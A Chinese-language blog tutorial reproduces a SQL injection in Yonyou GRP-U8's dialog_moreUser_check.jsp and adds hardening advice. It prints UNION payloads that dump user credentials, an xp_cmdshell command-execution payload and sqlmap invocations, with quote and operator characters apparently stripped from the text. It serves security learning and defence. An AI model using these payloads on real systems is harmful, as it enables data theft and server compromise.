用友GRP-U8 SQL注入漏洞复现:从手工注入到防御加固

📅 2026/6/28 21:47:59
用友GRP-U8 SQL注入漏洞复现:从手工注入到防御加固
1. 项目概述一次典型的应用系统SQL注入漏洞复现最近在梳理一些老版本企业级应用系统的常见安全问题时用友GRP-U8这个系列的产品又进入了我的视野。作为一款在政府、事业单位、大型国企中广泛应用的财务管理软件其安全性直接关系到大量敏感的核心业务数据。今天要复现的这个漏洞就出在其中一个名为dialog_moreUser_check.jsp的页面上一个典型的SQL注入点。这不仅仅是CTF靶场里的一个练习更是现实中攻击者可能利用的、能够直接威胁到数据库安全的“后门”。简单来说这个漏洞允许攻击者通过在Web请求中构造特殊的参数将恶意的SQL代码“注入”到后端数据库查询语句中并执行。这意味着攻击者可以在未经授权的情况下查询、修改甚至删除数据库中的数据比如获取所有用户的账号密码、篡改财务凭证、或者直接获取系统最高权限。对于使用这类系统的单位而言这无异于将保险柜的钥匙放在了门把手上。这个复现过程我会从环境搭建开始一步步带你定位漏洞点、分析漏洞原理、构造利用Payload并最终完成一次完整的手工注入攻击链演示。无论你是刚入门Web安全的新手想通过一个真实案例理解SQL注入还是有一定经验的渗透测试人员希望丰富自己的漏洞库和实战手法这篇记录都能给你带来直接的参考价值。我们不光要“打穿”它更要弄明白它为什么会被“打穿”以及如何从防御角度去思考。2. 漏洞环境搭建与核心思路解析2.1 靶场环境的选择与部署要复现漏洞首先得有一个“靶子”。对于用友GRP-U8这种商业软件我们显然不能直接拿生产环境开刀最佳实践是在一个完全隔离的本地或虚拟机环境中部署其存在漏洞的特定版本。经过对公开漏洞信息的梳理这个dialog_moreUser_check.jsp文件的SQL注入漏洞影响多个U8版本。为了复现我选择在一个Windows Server 2008 R2的虚拟机中部署一个已知受影响的旧版本用友GRP-U8环境具体版本号因合规原因不在此公开但相关漏洞公告中均有明确记载。部署过程包括安装IIS、.NET框架、JRE环境以及按照用友官方的安装指引配置数据库通常是SQL Server和应用服务器。这里有一个关键的实操心得搭建这类老旧商业系统的漏洞环境最大的坑往往在“依赖环境”上。比如特定版本的JRE、特定补丁级别的Windows系统、甚至是数据库的排序规则设置都可能让安装过程卡住。我的建议是尽量寻找网络上流传的、已经打包好的漏洞环境虚拟机镜像。这些镜像通常由安全研究人员制作预置了所有必要的组件和配置可以让你跳过繁琐的安装步骤直接进入漏洞分析与利用环节把精力集中在核心的安全研究上。如果找不到现成镜像那么详细记录安装过程中的每一个错误和解决方案本身就是一份宝贵的经验积累。部署完成后我们访问http://[靶机IP]/u8/dialog_moreUser_check.jsp如果页面能够正常打开可能是一个用户选择或校验对话框说明环境基本就绪。2.2 漏洞触发的核心逻辑与入口点分析为什么dialog_moreUser_check.jsp这个文件会成为注入点我们需要结合代码或通过黑盒测试推断其逻辑来理解。.jsp文件是Java Server Pages它会在服务器端执行动态生成HTML。其核心漏洞模式几乎一成不变程序未对用户输入的参数进行有效的过滤和校验便直接拼接到了SQL查询语句中。对于这个文件通过参数嗅探和模糊测试我们发现它通常会接收一些用于查询用户信息的参数比如userID、userName、deptID等。假设后端原始的查询逻辑是这样的这是根据漏洞表现反推的伪代码String sql SELECT * FROM U8_User_Table WHERE UserID request.getParameter(userID) ;这是一个非常经典的“字符串拼接”式SQL语句构造方式。攻击者的机会就在这里如果我能控制userID这个参数的值我就可以通过输入特殊字符来“逃逸”出原本用于包裹值的单引号并插入我自己的SQL命令。例如攻击者提交userID1那么拼接后的SQL语句就变成了SELECT * FROM U8_User_Table WHERE UserID 1多了一个单引号会导致语法错误。但这正是我们的“探针”。如果页面返回了数据库错误信息而不是一个友好的“参数错误”提示那就强烈暗示这里存在SQL注入的可能性。这就是我们漏洞复现的第一步寻找并确认注入点。3. 手工注入漏洞探测与信息收集3.1 初步探测与注入类型判断拿到一个疑似注入点我们不能蛮干。首先通过一系列简单的Payload来验证并判断注入类型。基础探测访问http://靶机IP/u8/dialog_moreUser_check.jsp?userID1观察正常页面。单引号测试访问http://靶机IP/u8/dialog_moreUser_check.jsp?userID1。如果页面返回数据库错误如SQL Server的“未闭合的引号”错误或页面显示与正常情况明显不同空白、报错则初步确认存在注入。逻辑测试这是判断注入类型数字型/字符型和是否可用的关键。数字型测试userID1 and 11与userID1 and 12。如果第一个页面正常第二个页面异常无数据、报错则很可能是数字型注入。字符型测试userID1 and 11与userID1 and 12。原理同上但需要处理闭合单引号。对于本例的dialog_moreUser_check.jsp经过测试使用userID1 and 11时页面正常使用userID1 and 12时页面无数据或错误这确认了这是一个基于单引号闭合的字符型SQL注入漏洞。注意实际测试中参数名不一定是userID可能是id、code或其他。需要通过爬虫、目录扫描或参考历史漏洞报告来发现可用参数。这也是一个经验技巧对于这类老系统多尝试id、type、code、name这类常见参数名成功率不低。3.2 利用联合查询UNION获取数据库信息确认注入点后下一步是利用UNION SELECT语句来“拓宽”查询通道直接从数据库中提取我们想要的信息。这需要先确定当前查询语句的字段数。确定字段数ORDER BY 我们使用ORDER BY子句来探测。ORDER BY 1表示按第一列排序如果该列存在页面正常如果不存在例如ORDER BY 10数据库会报错。通过递增数字我们可以找到准确的字段数。Payload: userID1 ORDER BY 5--这里--是SQL中的单行注释符在SQL Server中有时需要用--或--空格用于注释掉原SQL语句中后续可能存在的其他条件比如AND ...避免语法错误。一直测试到ORDER BY N时报错那么字段数就是 N-1。确定回显点 知道字段数假设为4后我们用UNION SELECT来测试哪些字段的内容会显示在页面上。Payload: userID-1 UNION SELECT 1,2,3,4--这里有个关键技巧将原查询条件设为不成立如userID-1这样原查询结果为空页面上显示的就全是我们UNION SELECT出来的1,2,3,4。观察页面看数字1、2、3、4中的哪些出现在了网页的表格、文本或某个位置。假设数字2和4显示出来了说明这两个位置是“回显点”我们可以把想要查询的信息放在这两个位置。获取数据库基本信息 利用回显点我们可以逐步获取信息。数据库版本userID-1 UNION SELECT 1,version,3,4--当前数据库名userID-1 UNION SELECT 1,db_name(),3,4--当前数据库用户userID-1 UNION SELECT 1,user,3,4--执行后在页面回显位置之前显示数字2和4的地方我们就能看到数据库的版本信息、名称和当前操作的用户权限。如果用户是sa或dba等高权限用户那危险性就极高了。4. 深入利用获取表名、列名与数据4.1 利用系统表枚举数据库结构在SQL Server中数据库的元数据有哪些表、表有哪些列都存储在系统视图如information_schema或系统表如sysobjects中。我们的目标就是查询这些系统表。获取所有用户表名 在SQL Server中sysobjects表存储了所有数据库对象。xtypeU表示用户表。Payload: userID-1 UNION SELECT 1,name,3,4 FROM sysobjects WHERE xtypeU--这个语句可能会返回很多表名。我们需要从中寻找可能存储用户、密码、财务数据的关键表。经验上可以关注包含User、Admin、Account、Voucher凭证、Detail明细等关键词的表名。假设我们找到了一个名为U8_User的表。获取指定表的列名 找到感兴趣的表后下一步是查看它有哪些列。SQL Server中可以使用syscolumns表与sysobjects关联查询。Payload: userID-1 UNION SELECT 1,name,3,4 FROM syscolumns WHERE idOBJECT_ID(U8_User)--或者使用information_schema.columns更通用Payload: userID-1 UNION SELECT 1,COLUMN_NAME,3,4 FROM information_schema.columns WHERE TABLE_NAMEU8_User--执行后我们可能会得到UserID、UserName、Password、Dept等列名。Password字段就是我们的核心目标之一。4.2 拖取核心敏感数据现在表名 (U8_User) 和列名 (UserID,UserName,Password) 都知道了直接查询即可。Payload: userID-1 UNION SELECT 1,UserName:Password,3,4 FROM U8_User--这里使用了字符串连接符将用户名和密码用冒号分隔后在同一个回显点显示出来。如果密码是明文存储那么攻击至此已经大获成功。但更常见的情况是密码被哈希Hash加密存储例如MD5。如果Password列显示的是类似E10ADC3949BA59ABBE56E057F20F883E的32位字符串那就是MD5哈希值。这时攻击者需要将这些哈希值导出然后使用彩虹表或在线解密网站进行碰撞破解。如果密码强度不够如简单的数字、常见单词破解速度会非常快。实操心得关于数据获取的姿势。UNION SELECT一次只能显示一行数据除非用GROUP_CONCAT或类似函数但SQL Server中对应的是STRING_AGG在老版本中可能不支持。为了获取所有用户数据我们可能需要分次查询或者使用盲注技术。更高效的方式是将查询结果写入一个Web服务器可访问的文件或者通过DNS外带技术将数据带出。这取决于数据库的配置和权限。在复现时我们可以先满足于获取第一条管理员数据。5. 漏洞的深度利用与权限提升思考5.1 从数据泄露到系统沦陷获取数据库用户密码哈希只是第一步。一个完整的攻击链可能如下破解密码对获取的管理员密码哈希进行破解。如果密码是弱口令很快就能得到明文。登录后台用破解出的账号密码尝试登录用友GRP-U8的管理后台。许多系统的后台登录验证直接基于数据库中的用户表。扩大战果进入后台后攻击者几乎可以执行所有财务操作功能。但野心不止于此。利用数据库高权限执行系统命令如果当前数据库连接用户权限足够高如sa攻击者可以利用SQL Server的扩展存储过程如xp_cmdshell来执行操作系统命令。Payload: userID1; EXEC master..xp_cmdshell whoami--这条语句会尝试执行系统命令whoami返回当前系统用户身份。如果成功意味着攻击者已经从Web应用入侵到了服务器操作系统层面可以上传木马、建立后门、横向移动等。5.2 自动化工具如SQLMap的辅助利用手工注入能让我们透彻理解原理但在实战或快速验证时使用自动化工具效率更高。以SQLMap为例基本探测命令如下sqlmap.py -u http://靶机IP/u8/dialog_moreUser_check.jsp?userID1 --batch--batch参数会让SQLMap自动选择默认选项。SQLMap会自动进行类型判断、爆数据库、爆表、爆列、拖数据。对于这个漏洞我们还可以指定数据库类型提高效率sqlmap.py -u http://靶机IP/u8/dialog_moreUser_check.jsp?userID1 --dbmsmssql --batch但是这里有一个非常重要的注意事项绝对不要在任何非授权授权的真实系统上运行SQLMap或进行任何渗透测试行为这不仅是违法行为而且可能对目标系统造成不可预知的影响如数据损坏、服务宕机。我们的所有操作必须严格控制在自有或明确授权的漏洞实验环境中进行。5.3 漏洞根源与防御加固方案复现漏洞的最终目的是为了修复和防御。这个漏洞的根源非常清晰根本原因在dialog_moreUser_check.jsp中对用户输入的参数如userID未做任何过滤和转义直接拼接进SQL字符串。深层原因开发阶段安全意识不足采用了不安全的字符串拼接方式编写SQL语句。防御方案同样明确使用预编译语句Prepared Statements这是根治SQL注入的“银弹”。所有数据库编程接口如Java的JDBC.NET的SqlCommand都支持。它先将SQL语句的结构带占位符发送给数据库编译再将用户输入的数据作为参数传入。这样即使用户输入中包含SQL指令也只会被当作普通数据处理无法改变原语句结构。// 错误示例漏洞所在 String sql SELECT * FROM users WHERE id userInput ; // 正确示例使用预编译 String sql SELECT * FROM users WHERE id ?; PreparedStatement stmt connection.prepareStatement(sql); stmt.setString(1, userInput); // 安全userInput中的单引号会被转义严格的输入验证对于userID这类参数如果业务上应该是数字那么在接收时就进行强类型转换或正则匹配非数字直接拒绝。最小权限原则用于连接数据库的应用程序账号不应使用sa等高权限账户。应为其创建专属账号并只授予其访问必要表的最小权限SELECT、INSERT等绝对不能授予xp_cmdshell的执行权限。Web应用防火墙WAF在应用前端部署WAF可以拦截常见的SQL注入攻击特征作为一道额外的防线。对于正在使用受影响版本用友GRP-U8的单位最紧迫的措施是立即联系厂商获取安全补丁或升级到最新版本。同时对服务器进行安全加固关闭不必要的数据库功能定期进行漏洞扫描和安全评估。6. 复现过程中的常见问题与排查实录在手工复现这类注入漏洞时你可能会遇到各种“意外情况”。下面是我踩过的一些坑和解决思路问题1页面无论输入什么都返回相同的错误页面或跳转到登录页。排查这可能意味着参数名不对或者该页面需要有效的会话Cookie才能访问。首先使用Burp Suite等工具拦截浏览器对该页面的正常请求观察它到底提交了哪些参数。其次检查Cookie可能需要先登录系统获得有效的Session ID后再测试注入点。问题2单引号测试时页面没有报错而是返回了一个空白页或“参数错误”的友好提示。排查这不一定代表没有注入可能只是错误被应用程序全局捕获并处理了。此时应该转向**盲注Blind Injection**测试。使用and 11和and 12观察页面内容如标题、某个特定文本、响应体长度是否存在差异。如果存在差异说明是盲注漏洞。SQLMap的--techniqueB参数可以用于自动化盲注探测。问题3UNION SELECT时页面提示“所有查询中的列数必须相同”。排查这是最常遇到的问题说明ORDER BY判断的字段数不准确。可能的原因有原SQL语句中包含了UNION、JOIN或者查询了多个表导致列数动态变化。解决办法是尝试更大的ORDER BY数字或者使用NULL来填充UNION SELECT因为NULL可以匹配任何数据类型。userID-1 UNION SELECT NULL,NULL,NULL,NULL,NULL--不断增加NULL的数量直到页面正常显示。问题4知道表名和列名但查询数据时返回空。排查首先确认表名和列名的大小写、空格是否正确。在SQL Server中对象名不区分大小写但拼写必须准确。其次检查当前数据库用户是否有权限读取那张表。可以尝试查询一个肯定存在的公共表如select version如果这个能查说明权限没问题问题出在表名/列名上。最后考虑数据可能真的为空或者你的查询条件 (userID-1) 导致匹配不到任何数据可以尝试UNION SELECT ... FROM U8_User WHERE 11。问题5使用SQLMap跑不出来但手工明明可以。排查手工注入成功证明漏洞存在。SQLMap跑不出来可能是以下原因WAF/防护软件干扰目标环境可能有简单的防护规则拦截了SQLMap的默认Payload。可以尝试使用--tamper参数如space2comment对Payload进行混淆或降低检测级别--level 2。Cookie/Session问题SQLMap命令中没有携带有效的会话Cookie。使用--cookieJSESSIONIDxxx参数。参数类型问题可能不是GET参数而是POST参数。使用--datauserID1来指定POST数据。注入点过于特殊极其罕见的情况下注入点位置特殊SQLMap的检测引擎未能触发。此时手工注入报告就是最好的证明。整个复现过程从环境搭建到手工注入再到思考防御是一个完整的闭环。它不仅仅是一个技术点的验证更是一次对应用安全开发生命周期的反思。对于开发者要时刻绷紧安全这根弦将安全编码规范融入习惯对于运维和安全人员则要定期对存量系统进行漏洞扫描和评估防患于未然。在这个漏洞中一个看似不起眼的JSP文件一个简单的字符串拼接背后牵连的可能是整个组织的核心数据资产。安全无小事细节决定成败。